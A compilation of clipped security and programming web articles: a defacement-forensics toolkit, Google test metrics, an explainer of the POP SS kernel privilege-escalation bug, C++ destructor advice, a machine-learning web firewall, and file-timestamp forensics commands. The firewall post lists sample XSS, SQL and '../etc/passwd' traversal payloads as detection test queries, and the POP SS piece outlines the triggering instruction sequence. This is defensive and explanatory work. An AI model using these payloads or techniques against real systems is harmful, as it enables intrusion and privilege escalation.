it eligable as a nop, which means there is a subsequent operation that
overwrites the flags before using them._

That code indeed is a semantic NOP, \_except\_ when an exception occurs from
accessing temp\_mem. If an exception occurs, then eax is clearly different
from its starting condition when control is transferred to the exception
handler. This opens up a can of worms I think.

If we only look for semantic nops between memory accesses, we will undoubtedly
miss a large number of cases that really are nops. But if we ignore the
potential for exceptions, then removing those misidentified nops will result
in an unsound transformation.

Another problem was suggested to me, in terms of exceptions resulting from
hardware break points. Removing a sequence of code, or applying a
transformation to it, may not be sound.

PS. I implemented a basic and incomplete version of dynamic taint analysis,
and am using it to track the return value of GetProcAddress, so I can
reconstruct the import table after auto unpacking. It works fairly nicely. And
I implemented most of the code to transform my IR into STP constraints \(STP
is an opensource SMT decision procedure\).

* * *
**Possibly related posts: \(automatically generated\)**

  * Finished an implementation of FProt hybrid unpacker paper
  * ExcpHook 0.0.5-rc2
  * ISIT 2009 : talks part four

  

# Automatic binary deobfuscation

**Created:**| _10/8/2009 8:50:21 PM_  
---|---  
**Updated:**| _10/8/2009 8:50:47 PM_  
**Author:**| __  
**Tags:**| _papers reversing automation analysis_  
  
<img src='img/Temp2_946' />

# DefPloreX: A Machine-Learning Toolkit for Large-scale eCrime Forensics -
TrendLabs Security Intelligence Blog

**Created:**| _8/2/2017 10:10:31 PM_  
---|---  
**Updated:**| _8/2/2017 10:10:31 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# DefPloreX: A Machine-Learning Toolkit for Large-scale eCrime Forensics

  * Posted on:July 28, 2017 at 2:26 am
  * Posted in:Open source
  * Author:
Trend Micro Senior Threat Researchers

  * 48
__

  * __
  * 146
__

  * 3
__

  * __

**_By Marco Balduzzi and Federico Maggi_**

The security industry as a whole loves collecting data, and researchers are no
different. With more data, they commonly become more confident in their
statements about a threat. However, large volumes of data require more
processing resources, as extracting meaningful and useful information from
highly unstructured data is particularly difficult. As a result, manual data
analysis is often the only choice, forcing security professionals like
investigators, penetration testers, reverse engineers, and analysts to process
data through tedious and repetitive operations.

We have created a flexible toolkit based on open-source libraries for
efficiently analyzing millions of defaced web pages. It can also be used on
web pages planted as a result of an attack in general. Called DefPloreX \(a
play on words from “Defacement eXplorer”\), our tool uses a combination of
machine-learning and visualization techniques to turn unstructured data into
meaningful high-level descriptions. Real-time information on incidents,
breaches, attacks, and vulnerabilities are efficiently processed and condensed
into browsable objects that are suitable for efficient large-scale e-crime
forensics and investigations.

DefPloreX ingests plain and flat tabular files \(e.g., CSV files\) containing
metadata records of web incidents under analysis \(e.g., URLs\), explores
their resources with headless browsers, extracts features from the defaced web
pages, and stores the resulting data to an Elastic index. The distributed
headless browsers, as well as any large-scale data-processing operation, are
coordinated via Celery, the de-facto standard for distributed task
coordination. Using a multitude of Python-based data-analysis techniques and
tools, DefPloreX creates offline “views” of the data, allowing easy pivoting
and exploration.

The most interesting aspect of DefPloreX is that it automatically groups
similar defaced pages into clusters, and organizes web incidents into
campaigns. Requiring only one pass on the data, the clustering technique we
use is intrinsically parallel and not memory bound. DefPloreX offers text- and
web-based UIs, which can be queried using a simple language for investigations
and forensics. Since it’s based on Elastic Search, the data DefPloreX produces
can be easily integrated with other systems.

**_Use Case_**

Here is an example of how an analyst could use DefPloreX to investigate a
campaign called “Operation France” \(with “\#opfrance” being the Twitter
handler associated with it\). This campaign is operated prevalently by online
Muslim activists with the goal of supporting radical Islamism.

As Figure 1 shows, this campaign targeted 1,313 websites over a period of 4
years \(2013-2016\), mainly targeting French domain names \(Figure 2\).
DefPloreX reveals the actors’ composition and the defaced templates used in
the attacks \(Figure 3\). Some of these members explicitly support the attacks
against France conducted by radical Islamists \(e.g., in terrorism\) \(Figure
4\).

<img src='img/Temp2_2075.png' width='400' height='141' /><img
src='img/Temp2_2076.png' width='246' height='312' /><img
src='img/Temp2_2080.png' width='181' height='200' /><img
src='img/Temp2_2082.png' width='200' height='139' />

_Figures 1-4. Investigation example for campaign Operation France
\(\#opfrance\) \(Click to enlarge\)_

**_Public Release_**

DefPloreX supports the analyst in the following operations:

  * importing and exporting generic data into and from an Elastic index
  * enriching the index with various attributes
  * visiting web pages in an automated, parallel fashion to extract numerical and visual features that capture the structure of the HTML page and its appearance when rendered
  * post-processing the numerical and visual features to extract a compact representation that describes each web page \(we call this representation a “bucket”\)
  * using the compact representation to pivot the original web pages, grouping them into clusters of similar pages
  * performing generic browsing and querying of the Elastic index.

The following diagram shows the architecture of DefPloreX:

<img src='img/Temp2_2084.png' width='600' height='316' />

_Figure 5. Overview of DefPloreX capabilities_

From each web page, we wanted to collect two sides of the same story: a
“static” view of the page \(e.g., non-interpreted resources, scripts, text\)
and a “dynamic” view of the same page \(e.g., a rendered page with DOM
modifications and so on\). The full version of DefPloreX can extract URLs,
e-mail addresses, social-network nicknames and handles, hashtags, images, file
metadata, summarized text, and other information. This data captures the main
characteristics of any defaced web page.

<img src='img/Temp2_2077.png' width='540' height='324' />

_Figure 6. Collection of data from URLs_

We approached the problem of finding groups of related defacement web pages
\(e.g., hacktivism campaigns\) as a typical data-mining problem. We assume
that there are recurring and similar characteristics among these pages that we
can capture and use as clustering features. For example, we assume that the
same attacker will reuse the same web snippets \(albeit with minimal
variations\) within the same campaign. We capture this and other aspects by
extracting numerical and categorical features from the data we obtained by
analyzing each page \(static and dynamic view\).

<img src='img/Temp2_2081.png' width='540' height='236' />

_Figure 7. Features obtained from each URL_

DefPloreX also sports a feature called “data bucketing,” which we use to
derive a compact representation of each record. This compact representation is
then used to enable fast clustering. In our case, a record is an instance of a
defaced page, but this method can be applied to other domains. When applied to
numeric features, this bucketing functionality represents a real number \(of
any range\) by using only a limited set of categorical values \(i.e., low,
medium, high\).

Elastic search natively supports the statistics primitives \(e.g.,
percentiles\) required to perform this transformation from numerical values to
categorical values. If it’s applied to features that are originally
categorical \(e.g., character encoding used in a web page\), this bucketing
functionality represents all existing encoding schemes \(e.g., “windows-1250,”
“iso-\*”\), with the geographical region in which each encoding is typically
used \(e.g., European, Cyrillic, Greek\). The same can be done for spoken
languages, TLDs, and so on.

The web-based UI is based on React, backed by a lightweight REST API written
in Flask. The web-based UI is essentially a “spreadsheet on steroids,” in the
sense that smart pagination allows it to be scaled up to an arbitrary number
of records. The main task, fulfilled by the web-based UI, is that of browsing
through clusters and records. For example, to spot a web-defacement campaign
coordinated by the same \(small\) group of cyber-criminals, we would query
DefPloreX to display clusters with at most ten attackers and inspect the
timeline of each cluster to spot periodical patterns or spikes in activity,
revealing coordinated attacks.

In all of its operations, DefPloreX keeps the amount of memory used to the
bare minimum without sacrificing performance. DefPloreX works well on a simple
laptop but can scale up when more computing resources are available.

<img src='img/Temp2_2085.png' width='200' height='170' /><img
src='img/Temp2_2079.png' width='200' height='170' />

<img src='img/Temp2_2078.png' width='200' height='170' /><img
src='img/Temp2_2083.png' width='200' height='171' />

_Figures 8-11. Example of DefPloreX usage \(Click to enlarge\)_

**_Public Release_**

Following our talk at this year’s Black USA Arsenal in Las Vegas on July 27,
we released part of DefPloreX under FreeBSD License on Github. The released
toolkit consists of a framework library for large-scale computation of
Elasticsearch’s records. A copy of our presentation may be found here.

  * __
  * __
  * __
  * __
  * __

  
  
  
  

### Related posts:

  * Cerber Starts Evading Machine Learning 
  * RATANKBA: Delving into Large-scale Watering Holes against Enterprises 
  * Large-Scale Petya Ransomware Attack In Progress, Hits Europe Hard 
  * MS17-010: EternalBlue’s Large Non-Paged Pool Overflow in SRV Driver 

<img src='img/2846_say-no-to-ransomware.jpg' width='620' height='55' />

Learn how to protect Enterprises, Small Businesses, and Home Users from
ransomware:

ENTERPRISE »

SMALL BUSINESS»

HOME»

Tags: DefPloreX

  

# Gojko Adzic » Improving testing practices at Google

**Created:**| _12/8/2009 8:43:28 AM_  
---|---  
**Updated:**| _12/8/2009 8:43:50 AM_  
**Author:**| __  
**Tags:**| _software testing_  
  

## Improving testing practices at Google

Published by gojko at 10:09 am under articles

Mark Striebeck from Google opened XPDay 2009 today with a talk titled
“Developer testing, from the dark ages to the age of enlightenment”.
Suggesting that software testing is today in a renaissance stage, Striebeck
said that the community is now rediscovering “ancient” practices. Most things
we use in testing today were invented a long time ago, and then forgotten,
said Striebeck. In the last fifteen years, the community started rediscovering
these practices and people were focused on advancing the art, not teaching. As
a result, there are many good testing practices out there but having testable
code is still more an art than science, according to Striebeck.

Google had a team of Test Mercenaries, who joined different teams for a short
period of time to help them with testing. In most cases, they could see what
was wrong after a few days and started helping the teams, but the effort
wasn’t a success. When they left, teams would not improve significantly.
Striebeck said that testing “wasn’t effective to teach”. Knowing what makes a
good test often relied on personal opinion and gut-feel. Doing what they often
do in similar situations, Striebeck said that they decided to collect data.
The things that they were interested in were figuring out the characteristics
of good tests and testable code and how to know in the first place that a test
is effective. They decided to use a return-on-investment criteria: low
investment \(easy to write, easy to maintain\), high return \(alert to
problems when it fails\). According to Striebeck, Google spends $100M per year
on test automation, and wanted an answer whether they are actually getting a
good return on that investment. They estimated that a bug found during TDD
costs $5 to fix, which surges to $50 for tests during a full build and $500
during an integration test. It goes to $5000 during a system test. Fixing bugs
earlier would save them an estimated $160M per year.

To collect data, they set up a code-metrics storage to put all test execution
analytics in a single place. Striebeck pointed out that Google has a single
code repository, which is completely open to all of the 10000 developers.
Although all systems are released independently \(with release release cycles
randing from a week to a month\), everything is built from HEAD without any
binary releases, and the repository receives several thousand changes per day
with spikes of 20+ changes per minute. This resulted in 40+ millions of tests
executed per day from a continuous integration service plus IDE and command
line runs, they collected test results, coverage, buld time, binary size,
static analysis and complexity analysis. Instead of anyone deciding whether a
test is good or not, the system observed what people do with tests to rank
them. They looked into what a developer does after a test fails. If the code
was changed or added, the test was marked as good. If people changes the test
code when it fails, it was marked as a bad test \(especially if everyone is
changing it\). This means that the test was brittle and has a high maintenance
cost. They also measured which tests are ignored in releases and which tests
often failed inthe continuous build and weren’t executed during development.

The first step was to provide developers reactive feedback on tests. For
example, the system suggested deleting tests that teams spent loads of time
maintaining. They then collected metrics on whether the people actually acted
on suggestions or not. The system also provided metrics to tech leads and
managers to show how teams are doing with tests.

The second step, which is in progress at the moment, is to find patterns and
indicators. As they now have identified lots of good and bad tests, the system
is looking for common characteristics among them. Once these patterns are
collected, algorithms will be designed to identify good and bad tests, and
manually calibrated by experts.

The third step will be to provide constructive feedback to developers, telling
developers how to improve tests, what tests to write an dhow to make the code
more testable.

The fourth step in this effort will be to provide prognostic feedback,
analysing code evolution patterns and warn developers that their change might
result in a particular problem later on.

_I will be covering XpDay 2009 on this blog in detail. Subscribe to my RSS
feed to get notified when I post new articles._

  

# Bromium dissects the POP SS vulnerability; learn how it works

**Created:**| _5/25/2018 10:46:23 AM_  
---|---  
**Updated:**| _5/28/2018 8:38:59 AM_  
**Author:**| _wishi_  
**Tags:**| _Exploit priv\_esc code_  
  

  

  * The newly uncovered POP SS vulnerability takes advantage of a widespread misconception about behaviour of pop ss or mov ss instructions resulting in exceptions when the instruction immediately following is an interrupt.
  * It is a privilege escalation, and as a result it assumes that the attacker has some level of control over a userland process \(ring 3\). The attack has the potential to upgrade their privilege level to ring 0 giving them complete control of the target system.
  * By jailing the guest OS using a hypervisor which operates at a hardware-enforced layer below ring 0 on the machine, PCs protected by Bromium are immune to threats of this nature.

Today we are dissecting the pop ss or mov ss vulnerability. To understand the
attack, you must first be familiar with CPU interrupts and exceptions.

CPU interrupts and exceptions

Interrupts and exceptions are used by the CPU to interrupt the currently
executing program in order to handle unscheduled events such as the user
pressing a key or moving the mouse. Exceptions also interrupt the currently
running process, but in response to an event \(usually an error\) resulting
from the currently executing instruction. The nee<img src='img/Temp2_1143.png'
width='1872' />d for these two CPU features stems from the fact that these
events are not predetermined and must be dealt with as and when they occur,
rather than according to a predefined schedule.

  

When an interrupt or exception is triggered, it is down to the OS to decide
how to handle it. There are operating system routines for each type of
interrupt which can be triggered by the CPU to determine, from the current
state information, how the instruction should be dealt with. The `pop ss`
vulnerability takes advantage of a bug in OS routines for dealing with
interrupts caused by unexpected \#db \(debug\) exceptions triggered in the
kernel.

The root of the vulnerability

Under normal circumstances, CPU exceptions are triggered immediately upon
retirement of the instruction that caused them. However, with `pop ss` and
`mov ss` instructions this is deemed unsafe since they are used as part of
sequence such as the following to switch stacks:

mov ss, \[rax\]

mov rsp, rbp

If mov ss, \[rax\] causes an exception, it would be handled with an invalid
stack pointer since the stack segment offset has been changed but the new
stack pointer has not yet been set. Consequently, the design decision was made
to trigger the exception on retirement of the instruction immediately
following the offending instruction to allow the stack pointer to be set
correctly.

Whilst this solved the issue of exception handling with an invalid stack
pointer, it had the unforeseen side effect of creating an unexpected state for
the OS if the next instruction was itself an interrupt such as in the
following case:

mov ss, \[rax\]

int 0x1

In this scenario, due to the context switch caused by int 0x1 which is
executed before the exception handler, the handler will be triggered from ring
0 despite being caused by ring 3 code. Since OS developers have been operating
under the assumption that ring 0 code exclusively will be responsible for
exceptions triggered within the kernel, this causes them to potentially
mishandle this edge case whereby an exception is triggered from within the
kernel by a userland process.

<img src='img/Temp2_1142.png' width='1872' />  

The paper published describes one way in which the attacker can use this
scenario to manipulate kernel memory in unintended ways by tricking the kernel
into operating on userland data structures when handling the exception. In the
kernel, the gs segment register is used as a pointer to various kernel related
data structures. Following a system call, the kernel calls swapgs to set the
gs register to the kernel specific value, and, upon exit from the kernel,
swapgs is called again to return it to its original userland value. However,
in our case, an exception was triggered before swapgs could be executed by the
kernel so it is still using a user defined gs value upon triggering the
exception from ring 0.

In handling the interrupt, vulnerable OSs determine whether swapgs needs to be
called based on the location which the interrupt was fired from. If the
exception was triggered from the kernel, the OS makes the \(incorrect\)
assumption that, swapgs has already been called when context was first
switched to the kernel, so it attempts to handle it without executing this
instruction first. As a result the exception is handled using a user defined
gs register value creating the opportunity to corrupt kernel memory in a
manner which allows for arbitrary code execution.

Bromium immunity

Bromium VMs are immune to escape using this kind of attack since user memory
along with kernel memory is jailed within the hypervisor and specific to each
instance. As a result, nothing is gained even when an attacker gains complete
control of the kernel within a VM – there is no sensitive information to steal
and no way for an attacker to propagate or persist.

There are certain kinds of hypervisors that are potentially vulnerable to this
attack including Xen legacy PV VMs. This is because the architecture runs the
hypervisor at ring 0, whilst the kernel and userspace both operate as ring 3
processes communicating with one another via the hypervisor. As a result, if
the hypervisor mishandles an exception, this allows for the attacker to obtain
ring 0 on the physical machine effectively escaping the VM.

The Bromium hypervisor is protected from this threat since it operates at a
hardware-enforced layer which sits behind ring 0 for all the VMs on a system.

Learn more about the Bromium Secure Platform.

Exploiting "BadIRET" vulnerability \(CVE-2014-9322, Linux kernel privilege
escalation\)

February 2, 2015

In "Threats"

Anatomy of Meltdown – A Technical Journey

January 15, 2018

In "Breaking News"

TSX improves timing attacks against KASLR

October 27, 2014

In "Threats"

Tags: hypervisor, mov ss, pop ss, vulnerability

  

# When to provide an empty destructor

**Created:**| _4/7/2012 11:26:47 AM_  
---|---  
**Updated:**| _4/7/2012 11:26:47 AM_  
**Author:**| __  
**Tags:**| _C++ destructor memory-manager_  
  

## When to provide an empty destructor

If you search around on the Internet, you will find various opinions about
whether it is a good idea to provide an explicit empty definition of a
destructor or if it is best to let the compiler synthesize an implementation
for you. The other day I also caught myself thinking about this choice for a
class I’ve been working on. This made me realize that I don’t have a complete
and clear picture of the tradeoffs involved. Ideally, I would like a hard and
fast rule so that I don’t have to waste a few minutes thinking about this
every time I create a new class. So today I decided to lay this matter to rest
by analyzing all the common and special cases that I am aware of while taking
into account not only performance, but also footprint and even the compilation
time.

There are three distinct use-cases that I would like to analyze: a class or a
class template with a non-virtual destructor, a class with a virtual
destructor, and a class template with a virtual destructor. But before we jump
to the analysis, let’s first review some terms used by the standard when
talking about synthesized destructors. At the end of the analysis I would also
like to mention some special but fairly common cases as well as how C++11
helps with the situation.

If we declare our own destructor, the standard calls it a _user-declared_
destructor. If we declared a destructor, we also have to define it at some
point. If a class has no user-declared destructor, one is declared implicitly
by the compiler and is called an _implicitly-declared_ destructor. An
implicitly-declared destructor is inline. An implicitly-declared destructor is
called _trivial_ , if \(a\) it is not virtual, \(b\) all its base classes have
trivial destructors, and \(c\) all its non-static data members have trivial
destructors. In other words, a trivial destructor doesn’t need to execute any
instructions and, as a result, doesn’t need to be called, or even exist in the
program text. Note that the first condition \(that a destructor shall not be
virtual\) was only added in C++11, but, practically, I believe all the
implementations assumed this even for C++98 \(virtual function table contains
a pointer to the virtual destructor and one can’t point to something that
doesn’t exist\).

Another aspect about destructors that is important to understand is that even
if the body of a destructor is empty, it doesn’t mean that this destructor
won’t execute any code. The C++ compiler augments the destructor with calls to
destructors for bases and non-static data members. For more information on
destructor augmentation and other low-level C++ details I recommend the
“Inside the C++ Object Model” book by Stanley L. Lippman.

Note also that an explicit empty inline definition of a destructor should be
essentially equivalent to an implicitly-defined one. This is true from the
language point of view with a few reservations \(e.g., such a class can no
longer be a POD type\). In practice, however, some implementations in some
circumstances may choose not to inline an explicitly-defined destructor or
expression involving such a destructor because an empty inline destructor is
still “more” than the trivial destructor. And this makes an implicitly-
declared trivial destructor a much better option from the performance and
footprint point of view. As a result, if we are providing an empty destructor,
it only makes sense to define it as non-inline. And the only reason for doing
this is to make the destructor non-inline. Now, the question is, are there any
good reasons for making an empty destructor non-inline?

### Class with non-virtual destructor

Let’s start by considering a class with a non-virtual destructor. While there
are a few special cases which are discussed below, generally, there are no
good reasons to prefer a non-inline empty destructor to the synthesized one.
If a class has a large number of data members \(or bases\) that all have non-
trivial destructors, then, as mentioned above, the augmented destructor may
contain quite a few calls. However, chances are good a C++ compiler will not
actually inline calls to such a destructor due to its complexity. In this
case, object files corresponding to translation units that call such a
destructor may end up containing multiple instances of the destructor. While
they will be weeded out at the link stage, the need to instantiate the same
destructor multiple times adds to the compilation time. However, in most
cases, I believe this will be negligible.

The same reasoning applies to class templates with non-virtual destructors.

### Class with virtual destructor

If a destructor is made virtual, then we also get an entry for it in the
virtual function table \(vtbl from now on for short\). And this entry needs to
be populated with a pointer to the destructor. As a result, even if the
destructor is inline, there will be a non-inline instantiation of this
destructor.

At first this may sound like a good reason to provide our own non-inline empty
implementation. But, on closer inspection, there doesn’t seem to be any
benefit in doing this. In either case there will be a non-inline version of
the destructor for the vtbl. And when the compiler is able to call the
destructor without involving the vtbl \(i.e., when it knows that the object’s
static and dynamic types are the same\), then we can apply exactly the same
reasoning as above.

Another thing that we may want to consider here is the instantiation of the
vtbl itself. Normally, the vtbl for a class is generated when compiling a
translation unit containing the first non-inline member function definition of
this class. In this case we end up with a single vtbl instantiation and no
resources are wasted. However, if a class only has inline functions
\(including our compiler-synthesized destructor\), then the compiler has to
fall to a less optimal method by instantiating the vtbl in every translation
unit that creates an instance of an object and then weeding our duplicates at
the link stage. If this proves to be expensive \(e.g., you have hundreds of
translation units using this class\), then you may want to define an empty
non-inline destructor just to anchor the vtbl.

Note also that in C++98 it is not possible to declare a destructor virtual but
let the compiler synthesize the implementation \(this is possible in C++11 as
we will see shortly\). So here we have to define an empty destructor and the
question is whether to make it inline or not. Based on the above analysis I
would say make it inline for consistency with the derived classes which will
have inline, compiler-synthesized destructors. That is:

[code]

    class base
    {
    public:
      virtual ~base () {}
     
      ...
    };
    
[/code]

### Class template with virtual destructor

The same analysis applies here except now we always have potentially multiple
vtbl instantiations, regardless of whether our destructor is inline or not.
And this gives us one less reason to provide one ourselves.

To summarize, in all three cases my recommendation is to let the compiler
define an inline destructor for you. Let’s now consider a few special cases
where we have to make the destructor non-inline.

### Special cases

There are two such special but fairly common cases that I am aware of. If you
know of others, I would appreciate it if you mentioned them in the comments.

The first case can be generally described as needing extra information to be
able to correctly destroy data members of a class. The most prominent example
of this case is the pimpl idiom. When implemented using a smart pointer and a
hidden “impl” class, the inline destructor won’t work because it needs to
“see” the “impl” class declaration. Here is an example:

[code]

    // object.hxx
    //
    class object
    {
    public:
      object ();
     
      // ~object () {} // error: impl is incomplete
      ~object ();
     
      ...
     
    private:
      class impl;
      std::unique_ptr<impl> impl_;
    };
     
    // object.cxx
    //
    class object::impl
    {
      ...
    };
     
    object::
    object ()
      : impl_ (new impl)
    {
    }
     
    object::
    ~object ()
    {
      // ok: impl is complete
    }
    
[/code]

Another example of this case is Windows-specific. Here, if your object is part
of a DLL interface and the DLL and executable use different runtime libraries,
then you will run into trouble if your object allocates dynamic memory using
the DLL runtime \(e.g., in a non-inline constructor\) but frees it using the
executable runtime \(e.g., in an inline destructor\). By defining the
destructor non-inline, we can make sure that the memory is allocated and freed
using the same runtime.

The second case has to do with interface stability. Switching from a compiler-
provided inline definition to a user-provided non-inline one changes the
binary interface of a class. So if you need a binary-compatible interface,
then it may make sense to define a non-inline empty destructor if there is a
possibility that some functionality may have to be added to it later.

### C++11 improvements

C++11 provides us with the ability to control inline-ness and virtual-ness of
the compiler-defined destructor using the defaulted functions mechanism. Here
is how we can declare a virtual destructor with the default implementation:

[code]

    class base
    {
    public:
      virtual ~base () = default; // inline
     
      ...
    };
    
[/code]

To make the default implementation non-inline we have to move the definition
of the destructor out of the class, for example:

[code]

    // derived.hxx
    //
    class derived: public base
    {
    public:
      virtual ~derived ();
     
      ...
    };
     
    // derived.cxx
    //
    derived::~derived () = default;
    
[/code]

Note that making a default implementation virtual or non-inline also makes it
non-trivial.

### Checklist

To be able to quickly decide whether a class needs an empty non-inline
destructor definition I condensed the above analysis into a short checklist.
When designing a class interface, ask yourself the following three questions:

  1. Do you need to anchor the vtbl \(doesn’t apply to class templates\)?
  2. Does proper destruction of data members require additional declarations or functionality that is not available in the class interface? Does the destruction need to be done consistently with construction \(e.g., using the same runtime\)?
  3. Do you need to define a stable interface and chances are that later you may have to add some functionality to the destructor?

If the answers to all these questions are “No”, then let the compiler provide
the default implementation of the destructor.

# fWaf – Machine learning driven Web Application Firewall | Fsecurify
**Created:**| _5/14/2017 12:48:14 PM_  
---|---  
**Updated:**| _5/14/2017 12:48:14 PM_  
**Author:**| __  
**Tags:**| _web-app-sec Firewalls machine-learning_  
  

  

Lately, I have been thinking of ways of applying machine learning to a
security project that I can do and share with all of you. A few days ago, I
happened to come across a website called ZENEDGE which is offering **AI driven
web application firewall**. I liked the concept and thought of making
something similar and sharing it with the community. So, lets make one.

## fWaf – Machine learning driven Web Application Firewall

### Dataset:

The first thing to do was to find labelled data but the data I could find was
quite old \(2010\). There is a website called **SecRepo** that has a lot of
security related datasets. One of them was of http logs containing millions of
queries. That was the dataset I wanted but it was not labelled. I used some
heuristics and my previous knowledge of security to label the data set by
writing a few scripts.

After pruning the data, I wanted to collect some more malicious queries.
Therefore, I went on for payloads and found some famous github repositories
containing Xss, SQL and other attack payloads and used all of them in my
malicious queries dataset.

Now, we had two files; one containing clean web queries\(1000000\) and another
one containing malicious web queries\(50000\). That’s all the data we need to
train our classifier.

### Training:

For training, I used **logistic regression** since it is fast and I wanted
something fast. We can use SVM or Neural networks but they take a little more
time than logistic regression. Our problem is a **binary classification
problem** since we have to predict whether a query is malicious or not. We’ll
be using **ngrams** as our tokens. I read some research papers and using
ngrams was a good idea for this sort of project. For this project, I
used**n=3.**

Lets dive right into the code.

Lets define our tokenizer function which will give 3 grams.

123456 | def getNGrams\(query\): tempQuery = str\(query\) ngrams = \[\] for i in range\(0,len\(tempQuery\)-3\): ngrams.append\(tempQuery\[i:i+3\]\) return ngrams  
---|---  
Lets load the queries dataset.

1234567891011121314151617181920 | filename = 'badqueries.txt'directory = str\(os.getcwd\(\)\)filepath = directory + "/" + filenamedata = open\(filepath,'r'\).readlines\(\)data = list\(set\(data\)\)badQueries = \[\]validQueries = \[\]count = 0for d in data: d = str\(urllib.unquote\(d\).decode\('utf8'\)\) badQueries.append\(d\) filename = 'goodqueries.txt'directory = str\(os.getcwd\(\)\)filepath = directory + "/" + filenamedata = open\(filepath,'r'\).readlines\(\)data = list\(set\(data\)\)for d in data: d = str\(urllib.unquote\(d\).decode\('utf8'\)\) validQueries.append\(d\)  
---|---  
Now that we have the dataset loaded into goodqueries and badqueries. Lets try
to visualize them. I used**Principal component analysis** to visualize the
dataset. The read are the bad query ngrams and the blue are the good query
ngrams.

<img src='img/Temp2_10254.png' width='1855' height='902' />

We can see that bad points and good points are indeed on coming out on
different positions. Lets proceed further.

1234567 | badQueries = list\(set\(badQueries\)\)tempvalidQueries = list\(set\(validQueries\]\)\)tempAllQueries = badQueries + tempvalidQueriesbady = \[1 for i in range\(0,len\(tempXssQueries\)\)\]goody = \[0 for i in range\(0,len\(tempvalidQueries\)\)\]y = bady+goodyqueries = tempAllQueries  
---|---  
Lets now use **Tfidvectorizer** to convert the data into **tfidf values** and
then use our classifier. We are using tfidf values since we want to assign
weights to our ngrams e.g the ngram ‘<img’ should have large weight since a
query containing this ngram is most likely to be malicious. You can read more
about tfidf in this link.

123 | vectorizer = TfidfVectorizer\(tokenizer=getNGrams\)X = vectorizer.fit\_transform\(queries\)X\_train, X\_test, y\_train, y\_test = train\_test\_split\(X, y, test\_size=0.2, random\_state=42\)  
---|---  
Now that we have everything set up, lets apply logistic regression.

123 | lgs = LogisticRegression\(\)lgs.fit\(X\_train, y\_train\)print\(lgs.score\(X\_test, y\_test\)\)  
---|---  
That’s it.

**Here’s the part everyone waits for** , you must be wanting to see the
accuracy, right? The accuracy comes out to be**99%**. That’s pretty amazing
right? But you won’t believe it until you see some proof. So, lets check some
queries and see if the model detects them as malicious or not. Here are the
results.

1234567891011121314151617 | wp-content/wp-plugins \(CLEAN\)<script>alert\(1\)</script> \(MALICIOUS\)SELECT password from admin \(MALICIOUS\)"><svg onload=confirm\(1\)> \(MALICIOUS\)/example/test.php \(CLEAN\)google/images \(CLEAN\)q=../etc/passwd \(MALICIOUS\)javascript:confirm\(1\) \(MALICIOUS\)"><svg onclick=alert\(1\) \(MALICIOUS\)fsecurify.com/post \(CLEAN\)<img src=xx onerror=confirm\(1\)> \(MALICIOUS\)foo/bar \(CLEAN\)foooooooooooooooooooooo \(CLEAN\)example/test/q=<script>alert\(1\)</script> \(MALICIOUS\)example/test/q=<svg onload=confirm\('faizan'\)> \(MALICIOUS\)fsecurify/q=<svg onerror=confirm\('fsecurify'\)> \(MALICIOUS\)example/test/q=<a href="javascript:confirm\(1\)> \(MALICIOUS\)  
---|---  
Looks good, doesn’t it? It can detect the malicious queries very well.

**What next?** This is a weekend project and there is a lot that can be done
or added in it. We can do multi class classification to detect whether a
malicious query is SQL Injection or Cross site scripting or any other
injection. We can have a larger dataset with all types of malicious queries
and train the model on it thus expanding the type of malicious queries it can
detect. One can also save this model and use it with a web server. Let me know
if you do any of the above.

**Data and script:** https://github.com/faizann24/Fwaf-Machine-Learning-
driven-Web-Application-Firewall

I hope you liked the post. We believe in providing security resources for free
to the community. Let me know about your comments and critique.

Fsecurify

  

# Command Line Kung Fu: Episode \#29: Finding the Time

**Created:**| _5/16/2009 10:28:36 AM_  
---|---  
**Updated:**| _5/16/2009 10:28:41 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#29: Finding the Time

Hal Says:  
  
When analyzing a file system after an incident, it's often useful to search
for recently modified files. Yes, an attacker who's broken root could have
reset the timestamps on the files they modified, but I've found that in many
cases they don't bother. That means you can do something like this:  
  

[code]

    # **find / -mtime -2 -ls**
    
[/code]

  
That will give you a detailed listing of all files that have been modified
within the last two days.  
  
This example points up a shortcoming of find, however-- the finest granularity
you have for time-based searches is in terms of some number of days. But what
if your IDS or firewall logs can tell you exactly when the attack occurred
down to the second? Wouldn't it be nice if you could have your find command
show you only the files that have been modified since that exact point in
time?  
  
Turns out there's a clever little idiom for doing precisely this:  
  

[code]

    # **touch -t 200904291446.53 /tmp/timestamp**  
     # **find -newer /tmp/timestamp -ls**
    
[/code]

  
The touch command allows the root user to explicitly set the timestamp on a
file. The format is YYYYMMDDhhmm.ss \(the seconds are optional\), so in the
example above we're setting the timestamp to 2:46:53pm on Apr 29, 2009. Once
you've set the timestamp appropriately, it's a simple matter of using "-newer"
with find to locate all files that have been modified more recently than that
date.  
  
Ed responds:  
I really hate it when Hal pulls something out of his... uh... ear that is
trivially easy to do in Linux with bash but is a real pain in the... uh...
neck in Windows cmd.exe. But, saddled with this shell, we must make do.  
  
One option we have for getting files' last modification dates and times in
Windows cmd.exe is to use the dir command as follows:  

[code]

    C:\> dir /a /tw /o-d
    
[/code]

That'll display the contents of the current directory, with all files
regardless of their attributes \(/a\), showing the timestamp \(/t\) of the
last written time \(w\), ordered \(/o\) in reverse \(-\) by date \(d\). OK...
it's a start. The most recently written-to files \(i.e., "modified"\) are at
the top of the list.  
  
But, Hal's find command is doing recursion through the Linux file system. What
happens when we add a happy little /s to dir to make it recurse through all of
c:\?  

[code]

    C:\> dir /a /s /tw /o-d c:\
    
[/code]

In the words of Steve Jobs, it's a bag of hurt. It just sucks. It sucks
horrifically bad. You see, the contents of each directory are displayed, and
those files in each directory are sorted by modified date, as we'd like... but
it's done on a directory-by-directory basis, without regard to when each
directory was altered. Doh\! Adding a /b \(for bare form of output\) doesn't
help us, because it that'll leave off the timestamp information that we crave.  
  
Often in cmd.exe, if we can't get the file information we'd like from the dir
command because of all of its baked-in limitations, we can get far closer to
what we want with a FOR loop.  
  
So, let's try this again, this time with a FOR loop. We'll use a FOR /R loop,
because it recurses through the file system for us, finding files. How about
this:  

[code]

    C:\> for /r %i in (*) do @echo %~ti, %~fi
    
[/code]

This loop will recurse \(/r\) through all subdirectories \(\*\) of our current
directory \(cd into c:\ if you want to go from the top\), with an iterator
variable of %i taking on the name of each file that we find. In our do clause,
we turn off display of commands \(@\), and echo to standard output %~ti. That
reference will display the timestamp associated with %i \(that is, our file\).
As it turns out, the timestamp displayed here is the last modified time. We
then display a comma \(you'll see why shortly\), followed by %~fi, which is a
way to reference the full path of %i.  
  
The output here will show modified\_time, full\_path\_to\_file, for all files
